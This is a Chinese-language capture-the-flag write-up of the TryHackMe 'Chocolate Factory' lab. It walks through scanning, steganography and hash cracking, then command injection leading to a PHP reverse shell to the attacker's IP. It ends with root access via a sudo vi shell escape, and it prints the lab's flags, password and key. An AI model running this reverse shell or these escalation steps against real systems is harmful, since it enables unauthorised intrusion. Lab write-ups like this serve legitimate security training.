跳轉到

THM - Chocolate Factory 靶機滲透

A Charlie And The Chocolate Factory themed room, revisit Willy Wonka's chocolate factory!

靶場地址

點我前往

題目背景

Welcome to Willy Wonka's Chocolate Factory! This room was designed so that hackers can revisit the Willy Wonka's Chocolate Factory and meet Oompa Loompa

This is a beginner friendly room!

靶機類型

免費靶機

過關條件

  • Enter the key you found!
  • What is Charlie's password?
  • change user to charlie [No answer needed]
  • Enter the user flag
  • Enter the root flag

滲透過程

基本資訊

攻擊機IP:10.11.74.107

目標機IP:10.10.255.25

使用Nmap掃描Port

Nmap掃描Port
nmap -T4 -A -v 10.10.255.25
Port 開放:21、22、80、100、106、109、110、111、113、119、125,FTP開放匿名登入,另外掃描的結果似乎包含著某種提示
small hint from Mr.Wonka : Look somewhere else, its not here! ;) |_ hope you wont drown Augustus"

登入FTP裡

使用匿名的方式登入到FTP內
裡面有一張名為gum_room.jpg的圖片,把圖案拖回本地

使用steghide,看看是不是有經過隱寫術

看看是不是有經過隱寫術
steghide info gum_room.jpg
有經過隱寫術,解開還需要密碼...

連線至Web服務

從Web服務檢查看看有什麼線索。

使用瀏覽器連線至Web服務

似乎沒找到什麼可以利用的地方...

使用gobuster進行目錄爆破

使用下面指令進行目錄爆破
gobuster dir --url http://10.10.255.25 -w /usr/share/wordlists/dirb/common.txt
目錄爆破也沒有找到有用的資訊...

檢查剛剛從 FTP 拖下來的圖片

剛剛從FTP拖下來的圖檔,是有經過隱寫術,使用下面指令進行破解

stegseek gum_room.jpg  /usr/share/wordlists/rockyou.txt

從圖片找到b64.txt檔案,並且檔案內容已經輸出到gum_room.jpg.out

打開輸出的檔案

是一長串的Base64編碼的組合

透過這個網站,將那一長串Base64編碼進行解碼

得到了類似/etc/passwd類似內容的檔案,並且從得到加密後的密碼

使用hashcat為這組加密字串解碼,如果運氣好的話,或許可以取得charlie的ssh登入密碼

使用hashcat進行密碼解密
# $6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/ 
# 把上面加密的金鑰保存至hash.txt內
sudo hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
成功解密,密碼:cn7824

SSH登入失敗

補充

由於解謎到一半,臨時外出,所以再次回來解謎後目標機IP已發生變化

目前目標機IP:10.10.107.49

拿剛剛解密的密碼進行SSH登入。

無法登入...

又回到起點了...

Web登入

當我卡在死胡同的時候,我嘗試拿著我認為是SSH帳密在Web畫面上登入,發現竟然成功登入進去...

畫面上有個輸入框
輸入"ls"命令,有顯示出東西,看來可以進行命令注入

進行 Reverse Shell

在輸入框裡輸入下面指令進行reverse shell
php -r '$sock=fsockopen("10.11.74.107",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

接著把反彈shell轉成tty

把反彈shell轉成tty
python -c "import pty; pty.spawn('/bin/bash')"
使用ls -al看看有什麼值得懷疑的檔案

感覺有兩個檔案值得懷疑,index.php.bak和key_rev_key

首先先看 key_rev_key這隻檔案,用cat打開後,發現是一端亂碼,不過還是可以看到一些資訊

看樣子,找到第一題的金鑰了
b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='

接下來看看index.php.bak

嗯...猜錯了...就單純的程式碼備份而已

讀取 user.txt 內容

前往/home/charlie目錄查看user.txt內容

發現沒有權限讀取user.txt檔案

不過在/home/charlie目錄中的teleport檔案似乎金鑰,雖然不知道是誰的,把金鑰的內容複製下來使用ssh登入試試

teleport檔案內容
使用金鑰登入到charlie的帳號
sudo ssh charlie@10.10.107.49 -i teleport
成功以charlie的身分登入

回到剛剛user.txt的位置,使用cat進行讀取

flag{cd5509042371b34e4826e4838b522d2e}

讀取 root.txt 內容

使用sudo -l看看charlie能用sudo能執行什麼權限

charlie 擁有 sudo vi 的權限

使用下面指令進行權限提升

sudo vi -c ':!/bin/sh' /dev/null
python -c "import pty; pty.spawn('/bin/bash')"
然後進到/root目錄發現有一個root.py的資料夾,使用cat查看內容
root.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
似乎是要輸入某個金鑰才能取得資料,嘗試運行看看,然後輸入在www-data目錄底下找到的key_rev_key金鑰

執行指令
python ./root.py
flag{cec59161d338fef787fcb4e296b42124}